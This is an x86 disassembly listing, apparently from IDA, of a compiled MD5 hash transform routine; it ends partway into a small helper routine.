		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]


loc_41005C:				; DATA XREF: brattyty:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------


loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
